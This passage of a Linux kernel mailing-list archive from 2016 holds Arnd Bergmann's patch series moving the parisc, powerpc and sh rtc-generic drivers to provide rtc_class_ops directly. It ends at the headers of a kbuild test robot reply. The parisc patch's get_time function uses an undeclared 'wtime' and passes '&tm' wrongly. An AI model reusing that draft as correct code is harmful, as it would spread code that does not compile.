 RHBdlysACWX+rdn8uLfp0UrW94BIzZDWF3BB0yJPmegopXsDQlR4mpr3IlhHlPgCZfW93Ggic
 Ymd9gTPwz/HMAtX3PLE07gmK07nxKxrY55rXIzsQT2aCrWk+nF2O7YozKREAujJNFcD9UD6ew
 O6xL5LBAIrgeBnwOQBh3kRzEUzj0V5m8e3nPlhF4LAra0SDg54wS1Y0RQ5N9j6O6WbAWJOqm/
 XYGt8IQNdjHDfnYo0gCbcM1JlTo7Hn//MSibsuh9xJgozTUwM8Yt6NtMxlgbJ5i9Fku4AUY+7
 X5ray/U+OKF1VtpyQsuLbIuxi8Nfk5LojwhhN51WYJoAfLZxF+8PR6rKRWTrrq3E6X0f/NT1g
 SCDhBrgfxcK1eO6UZr4gElS41HIOe51dhxrhxnMYxiltStXnviH5qYrcvbERDb6T8TB48xcXp
 V2OzSbjmkatcgyxsDboC07YsLn79WBPgpymrvdksJHYuyMD+V0E7iWXsNsF2+os5QMoT7yIiu
 I1G8omu+Q1RnhTFb8MOaqHrubs98XdvInnvbCa/3WncaO1Biv/MrtdupTXQHDP4m/xtkD8KJW
 e8RGHlltjMPDZXilLwvacQykq8J2DpQEo+mT+AoYM/Q+hoHistrO0g8esKtoj5jvFoHhgLqxF
 hivoI9ifi9b+XvJtreDcGwsTiesXoM6xNxn227cxCWyOuX35sbpaO37yuMQSucElLln4=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2165433 gmane.linux.ports.arm.kernel:483140 gmane.linux.ports.ppc64.devel:124305 gmane.linux.ports.sh.devel:53479 gmane.linux.ports.parisc:26503
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2165433>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and on pa-risc, that is implemented using an open-coded
version of rtc_time_to_tm/rtc_tm_to_time.

This changes the parisc rtc-generic device to provide its
rtc_class_ops directly, using the normal helper functions,
which makes this y2038 safe (on 32-bit) and simplifies
the implementation.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/parisc/kernel/time.c | 35 ++++++++++++++++++++++++++++++++++-
 1 file changed, 34 insertions(+), 1 deletion(-)

diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 400acac0a304..176ef5c2aa82 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -12,6 +12,7 @@
  */
 #include <linux/errno.h>
 #include <linux/module.h>
+#include <linux/rtc.h>
 #include <linux/sched.h>
 #include <linux/kernel.h>
 #include <linux/param.h>
@@ -224,11 +225,43 @@ void __init start_cpu_itimer(void)
 	per_cpu(cpu_data, cpu).it_value = next_tick;
 }
 
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	struct pdc_tod tod_data;
+
+	memset(wtime, 0, sizeof(*wtime));
+	if (pdc_tod_read(&tod_data) < 0)
+		return -EOPNOTSUPP;
+
+	/* we treat tod_sec as unsigned, so this can work until year 2106 */
+	rtc_time64_to_tm(tod_data.tod_sec, &tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	time64_t secs = rtc_tm_to_time64(tm);
+
+	if (pdc_tod_set(secs, 0) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
+
 static int __init rtc_init(void)
 {
 	struct platform_device *pdev;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
+
+
 	return PTR_ERR_OR_ZERO(pdev);
 }
 device_initcall(rtc_init);
-- 
2.7.0



From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc
Subject: [PATCH 3/6] powerpc: rtc: provide rtc_class_ops directly
Date: Tue,  1 Mar 2016 17:59:59 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <1456851608-3374907-4-git-send-email-arnd@arndb.de>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1456851787 16255 80.91.229.3 (1 Mar 2016 17:03:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 17:03:07 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>
Original-X-From: linux-kernel-owner@vger.kernel.org Tue Mar 01 18:03:00 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aanhA-0002tf-D1
	for glk-linux-kernel-3@plane.gmane.org; Tue, 01 Mar 2016 18:02:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752764AbcCARCd (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Tue, 1 Mar 2016 12:02:33 -0500
Original-Received: from mout.kundenserver.de ([212.227.17.13]:55337 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752699AbcCARCa (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Tue, 1 Mar 2016 12:02:30 -0500
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MUEV8-1aSVv304cU-00R4HT; Tue, 01 Mar
 2016 18:01:35 +0100
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:la+hdd4yyrAyAuTGf3L+LeKdPaCifD6D8XqLDyUlhsKqIEwIoff
 C5xlTnYSE2EjfpCImWOoOxN8PkrKOm8kdfLICSkh13J9dCj1DJZ68mzJZ87Hb3x8PjoHqqV
 SUn7udi2BMMKOyMNRgV1uBBE7RXtyvPK5ACOFV8Tj6Yl4oNpmdi/VKdSWQ1TmCJKTuk3uuf
 ML4h9pAHONzpSq/oAxwoA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:Kd/sbDg0XAM=:to6/p9T1Fh9uQzN8pHVeN2
 5ZI0qfEiZLnDhsJyAs4xptq/cq7qkD0ZG+miFY80gpXD9+JSC86rFHQW6zibLZtsmyvGJKRSw
 FpuBbyER8vumI7TvooIahdg2LBVO7C5KClZKQKReFMNihcYT65ZQMeIMJFndid5NVBkRF6cVn
 MFfVOpCmdL3PiP9xNhwk2s9XJekZo0qmvf6ZLOOszi0u0BVPuAAiafqPZBZh40A2hmGnMyyFI
 Z/rLriZ17+UnszbDLgonYSFmVe/5W2joU/WFxK6LHdcC00himLI0z4w5xbQATNUzaArBFo1o/
 c7IIgDyOmNVyrwupxBu/NooA1xVWei1xypc66gZ4NnkWAAkObpPxagAyxhZ8dBG5Ljo4Z3Azz
 ag2BVAzVz5HE08CqAZNk6CqX14gqVbxBvODB0KfYRP36cRP8a1uqRppHZ1fp7GmP1uGdkrZG4
 yDVcs6Fypz5fNLb7shYUL0uVDc9m4u3SKSe6GHpZvGU9RIpbazeBc5cztwAO9v8cMiYCggZ+P
 0C6S43HXWvSexOaslqI1Htwjf/f2ul+jqFYc0J+Jsn9JY4VBCD98pkVkih1uasmtKB19uBptv
 n9KruFSa9T+ztg6mXdMnCSPdV+OiosuhT6AcKbjNFso/CKAeO0nEkDw367b8MDbJABJX9Hrv3
 nAXyXKTh0IrC9P+x0UWFejDVWJO3ZBfO2NsXtPhCZMXUIYmXpQ/lpg3ZFXlzmrIz7vzs=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2165434 gmane.linux.ports.arm.kernel:483141 gmane.linux.ports.ppc64.devel:124306 gmane.linux.ports.sh.devel:53480 gmane.linux.ports.parisc:26504
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2165434>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and powerpc has another abstraction on top, which is a bit
silly.

This changes the powerpc rtc-generic device to provide its
rtc_class_ops directly, to reduce the number of layers
by one.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/powerpc/kernel/time.c | 26 +++++++++++++++++++++++++-
 1 file changed, 25 insertions(+), 1 deletion(-)

diff --git a/arch/powerpc/kernel/time.c b/arch/powerpc/kernel/time.c
index 81b0900a39ee..84a1228be617 100644
--- a/arch/powerpc/kernel/time.c
+++ b/arch/powerpc/kernel/time.c
@@ -1080,6 +1080,28 @@ void calibrate_delay(void)
 	loops_per_jiffy = tb_ticks_per_jiffy;
 }
 
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	ppc_md.get_rtc_time(tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (!ppc_md.set_rtc_time)
+		return -EOPNOTSUPP;
+
+	if (ppc_md.set_rtc_time(tm) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
+
 static int __init rtc_init(void)
 {
 	struct platform_device *pdev;
@@ -1087,7 +1109,9 @@ static int __init rtc_init(void)
 	if (!ppc_md.get_rtc_time)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
 
 	return PTR_ERR_OR_ZERO(pdev);
 }
-- 
2.7.0



From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel
Subject: [PATCH 5/6] sh: rtc: provide rtc_class_ops directly
Date: Tue,  1 Mar 2016 18:00:01 +0100
Lines: 81
Approved: news@gmane.org
Message-ID: <1456851608-3374907-6-git-send-email-arnd@arndb.de>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1456851817 16917 80.91.229.3 (1 Mar 2016 17:03:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 17:03:37 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	Arnd Bergmann <arnd@arndb.de>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>, linux-kernel@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 01 18:03:29 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aanhm-0003K2-DS
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Mar 2016 18:03:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752154AbcCARDJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Mar 2016 12:03:09 -0500
Original-Received: from mout.kundenserver.de ([212.227.17.13]:59644 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751992AbcCARDH (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Mar 2016 12:03:07 -0500
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MXp03-1aMlDc1JkF-00WpZW; Tue, 01 Mar
 2016 18:02:07 +0100
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:oEdmIlpywmQ/D/bcXlpK5yo8Xbh9n3ycZpVQ/8YUqcfZ9RSRA0G
 NBrHakqeLi58GD8bFiyxQvwHBnkZH/3QBKy65QI5SNXy+6xkWq3hwg7n/BJQeTGm9HCVX9d
 cRcCcjbRkc38Sosm1/rM7GSqrleIflSsECqUNNX/VACJouBYOQf55aHGxGvSrRGkWRHV1al
 qW1EVj/KUDGD2Tgi+KVEA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:5QFN1KL1W4s=:WXpwvFF9XXIpToMqebFR3l
 ovw8AFQAb4k6pta/iZ/L+9XyL7HcE7G8+8L132kKcGUMo91/m6/xFvWZiyak0j7khfDkjwfdh
 Nz6DbAv5OUNA8c2i4ouNEQNSv5RNhKSnP+TMS0Hnw0uZvk/IfJjTYfU53thIp2ZOnPx6uSnVC
 5RE5McD2gf9kFmF/Cu4+fHsP5d9EnOTwsHOLUSAx3DQgwOC2YqU66DPXVc9aZgKvYwaApQ9yp
 s0Vfc8Vmo5wNmDWUzV5IQDwc4qf90AAmdMDWI523UZgblcyknAJpUJSb0rsNQ9lEtDdGdWnTZ
 zrbVVuSXd84uvr9wJc2GgjrCqdx5nWNx7hAR5HL4o4ZIIDtluWntCBzEZjUF9CmrSQ/KFY/4i
 sjbjNSmHpclvB258yARwDXMZs7s1YqC24ae714DtF7Sm+Sb49Eayt5ZS1GhzfQejDjU8gjsVc
 NRJecpePjJ5kM6mN4B8v0yPJjcGjrRuGRUNQ70OiVKspT2I7r8UxrqU6uV4ru7/EO1WNoPvZS
 3TiVJfFKJeY4ab+2QGhtd+oc/T+NF/nNNQ/VCUpZBl9+yUYURpTE5HDxqmX3Y5YPVbaTldzGE
 QDQzdrLloIVagN/SZ1OXp1nixY+cBFAoEESr+YrDR4bAG/CHulbGdbxzKTsL0ifdcXgbHoms7
 3TAByiKRByCGCmDdhgXjFdyI3hOkCWLiWw+cXC+ueJ5j0fVbm4Aqgrq19luXnORRNSxY=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26505 gmane.linux.ports.arm.kernel:483142 gmane.linux.ports.ppc64.devel:124307 gmane.linux.ports.sh.devel:53481 gmane.linux.kernel:2165436
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26505>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and on sh, that goes through another indirection using
the rtc_sh_get_time/rtc_sh_set_time functions.

This changes the sh rtc-generic device to provide its
rtc_class_ops directly, skipping one of the abstraction
levels.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/sh/kernel/time.c | 32 +++++++++++++++++++-------------
 1 file changed, 19 insertions(+), 13 deletions(-)

diff --git a/arch/sh/kernel/time.c b/arch/sh/kernel/time.c
index d6d0a986c6e9..92cd676970d9 100644
--- a/arch/sh/kernel/time.c
+++ b/arch/sh/kernel/time.c
@@ -50,27 +50,30 @@ int update_persistent_clock(struct timespec now)
 }
 #endif
 
-unsigned int get_rtc_time(struct rtc_time *tm)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
 {
-	if (rtc_sh_get_time != null_rtc_get_time) {
-		struct timespec tv;
+	struct timespec tv;
 
-		rtc_sh_get_time(&tv);
-		rtc_time_to_tm(tv.tv_sec, tm);
-	}
-
-	return RTC_24H;
+	rtc_sh_get_time(&tv);
+	rtc_time_to_tm(tv.tv_sec, tm);
+	return 0;
 }
-EXPORT_SYMBOL(get_rtc_time);
 
-int set_rtc_time(struct rtc_time *tm)
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
 {
 	unsigned long secs;
 
 	rtc_tm_to_time(tm, &secs);
-	return rtc_sh_set_time(secs);
+	if (!rtc_sh_set_time || rtc_sh_set_time(secs) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
 }
-EXPORT_SYMBOL(set_rtc_time);
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
 
 static int __init rtc_generic_init(void)
 {
@@ -79,7 +82,10 @@ static int __init rtc_generic_init(void)
 	if (rtc_sh_get_time == null_rtc_get_time)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
+
 
 	return PTR_ERR_OR_ZERO(pdev);
 }
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 6/6] rtc: generic: remove get_rtc_time/set_rtc_time wrappers
Date: Tue,  1 Mar 2016 18:00:02 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <1456851608-3374907-7-git-send-email-arnd@arndb.de>
References: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1456851818 16923 80.91.229.3 (1 Mar 2016 17:03:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 17:03:38 +0000 (UTC)
Cc: linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	Arnd Bergmann <arnd@arndb.de>, linux-kernel@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Mar 01 18:03:36 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1aanht-0003Rv-Gm
	for glpm-linux-m68k@plane.gmane.org; Tue, 01 Mar 2016 18:03:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752299AbcCARDb (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 1 Mar 2016 12:03:31 -0500
Original-Received: from mout.kundenserver.de ([212.227.17.13]:65078 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751805AbcCARDI (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 1 Mar 2016 12:03:08 -0500
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0LmcE7-1a1jmh2tmN-00aB6I; Tue, 01 Mar
 2016 18:02:12 +0100
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1456851608-3374907-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:M0HuYRnTCbrvYLti1pa0k8aFFtSiplAm/YV3vqyUeCG0tmXFiqe
 9mvFywh5ahvQH+wTqCyZ+v1QWnP4p7Fk/F940WUZUTM4CppBmnDZkPzAHzbughbWNvhvsQ5
 RKjNvcj5MCMEaKZ7xVM1JwmoX6ZEU7yEI8ylGpAs9N9avhDeiOFMHtNR+ueOyl08E5rwtpK
 gzH3031x/Dd1AuhVJSSdQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NFJfdB1/Brs=:i+AKZ8vwz95evOZyp4GwhC
 zbVhpPLydja3eNY9EAA5PxhQf/I1BUW81XyEr+kdFoAc4O+syKAz1Q9rrmEyqcp3Yr3kj2GE7
 XEZd29W7/OKktY/VxGIEGYB4LBA0mO1qUW/6I+qYW78ys6blAamhYfAfVbrjQotQfMCqRAHWF
 8X1XeJt8XZwYMIFkfQvblTFipSxJrVE9xQxahlzV2BT8s8sIXlV4nOH6DFr0dot5zociHyBZp
 s352y0gS057YP6OPf3rha3JZdwaqICLGEoDNvhH9N1dlMdIZG9QEr1fPAmBJmFQmQjjCjdu9d
 D0FEsHZHiS6RExr34eJXv8dccrDj12K0n0p6kgCdxqrN0OaTG292Z2ovgly3GfXYsw9zOa+wZ
 S2XQofeDbjuJYqzHyNxY0eDe/J2h8iQ92Tf1Glg89NWTE+bMTeqMuKod5ovGDW+Dxexev2rg3
 sHuZsJ+sS5pnPHEcBxo4mZn7Dvcziw76mj/NjQqlo4OXiE4hOiV93vreAutso6I2mWG+i49Ok
 RKFccSSDmEiamC2vxEIqKdk6sQQiKA6i1DQyhG9wzny6K07F1FKPTkF7cvbqY2d4y2wL+uSk+
 M9rggmZsB2uk0QDrAWTnvr01Dx2TyKP4hZFG4TLwo5BPhsBBxZPJHEX8hmRVBB3bwF86QCtoY
 qBGOkqYwRaPBCphb5riyLWZoOC9m//F1fM+ZRiD5vuX9xx9si2gwO8Jbne9t9UpMPV4c=
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8322 gmane.linux.ports.arm.kernel:483143 gmane.linux.ports.ppc64.devel:124308 gmane.linux.ports.sh.devel:53482 gmane.linux.ports.parisc:26506 gmane.linux.kernel:2165437
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8322>

All architectures using this driver are now converted to
provide their own operations, so this one can be turned
into a trivial stub driver relying on its platform data.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 drivers/rtc/rtc-generic.c | 36 +-----------------------------------
 1 file changed, 1 insertion(+), 35 deletions(-)

diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index d726c6aa96a8..1bf5d2347928 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,44 +9,10 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if defined(CONFIG_M68K) || defined(CONFIG_PARISC) || \
-    defined(CONFIG_PPC) || defined(CONFIG_SUPERH32)
-#include <asm/rtc.h>
-
-static int generic_get_time(struct device *dev, struct rtc_time *tm)
-{
-	unsigned int ret = get_rtc_time(tm);
-
-	if (ret & RTC_BATT_BAD)
-		return -EOPNOTSUPP;
-
-	return rtc_valid_tm(tm);
-}
-
-static int generic_set_time(struct device *dev, struct rtc_time *tm)
-{
-	if (set_rtc_time(tm) < 0)
-		return -EOPNOTSUPP;
-
-	return 0;
-}
-
-static const struct rtc_class_ops generic_rtc_ops = {
-	.read_time = generic_get_time,
-	.set_time = generic_set_time,
-};
-#else
-#define generic_rtc_ops *(struct rtc_class_ops*)NULL
-#endif
-
 static int __init generic_rtc_probe(struct platform_device *dev)
 {
 	struct rtc_device *rtc;
-	const struct rtc_class_ops *ops;
-
-	ops = dev_get_platdata(&dev->dev);
-	if (!ops)
-		ops = &generic_rtc_ops;
+	const struct rtc_class_ops *ops = dev_get_platdata(&dev->dev);
 
 	rtc = devm_rtc_device_register(&dev->dev, "rtc-generic",
 					ops, THIS_MODULE);
-- 
2.7.0


From - Thu Nov 08 21:38:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel
Subject: Re: [PATCH 4/6] parisc: rtc: provide rtc_class_ops directly
Date: Wed, 2 Mar 2016 01:19:46 +0800
Lines: 881
Approved: news@gmane.org
Message-ID: <201603020101.PTQsR6V8%fengguang.wu@intel.com>
References: <1456851608-3374907-5-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="TB36FDmn/VVEgNH/"
X-Trace: ger.gmane.org 1456852867 2384 80.91.229.3 (1 Mar 2016 17:21:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Mar 2016 17:21:07 +0000 (UTC)
Cc: kbuild-all@01.org,
	Alexandre Belloni <alexandre.belloni@free-electrons.com>,
	linux-arm-kernel@lists.infradead.org,
	Kyle McMartin <kyle@mcmartin.ca>, rtc-linux@googlegroups.com,
	Alessandro Zummo <a.zummo@towertech.it>,
	linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	Arnd Bergmann <arnd@arndb.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>, linux-kernel@vger.kernel.org
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Mar 01 18:21:00 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aanyl-0007iD-0R
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Mar 2016 18:20:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752250AbcCARU6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Mar 2016 12:20:58 -0500
Original-Received: from mga11.intel.com ([192.55.52.93]:14162 "EHLO mga11.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751106AbcCARU5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Mar 2016 12:20:57 -0500
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga102.fm.intel.com with ESMTP; 01 Mar 2016 09:20:56 -0800
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.22,524,1449561600"; 
   d="gz'50?scan'50,208,50";a="927229794"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga002.fm.intel.com with ESMTP; 01 Mar 2016 09:20:37 -0800
Original-Received: from kbuild by bee with local (Exim 4.83)
	(envelope-from <fengguang.wu@intel.com>)
	id 1aanyQ-0008nV-5O; Wed, 02 Mar 2016 01:20:38 +0800
Content-Disposition: inline
In-Reply-To: <1456851608-3374907-5-git-send-email-arnd@arndb.de>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26507 gmane.linux.ports.arm.kernel:483149 gmane.linux.ports.ppc64.devel:124309 gmane.linux.ports.sh.devel:53483 gmane.linux.kernel:2165455
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26507>


--TB36FDmn/VVEgNH/
Content-Type: text/plain; charset=us-ascii
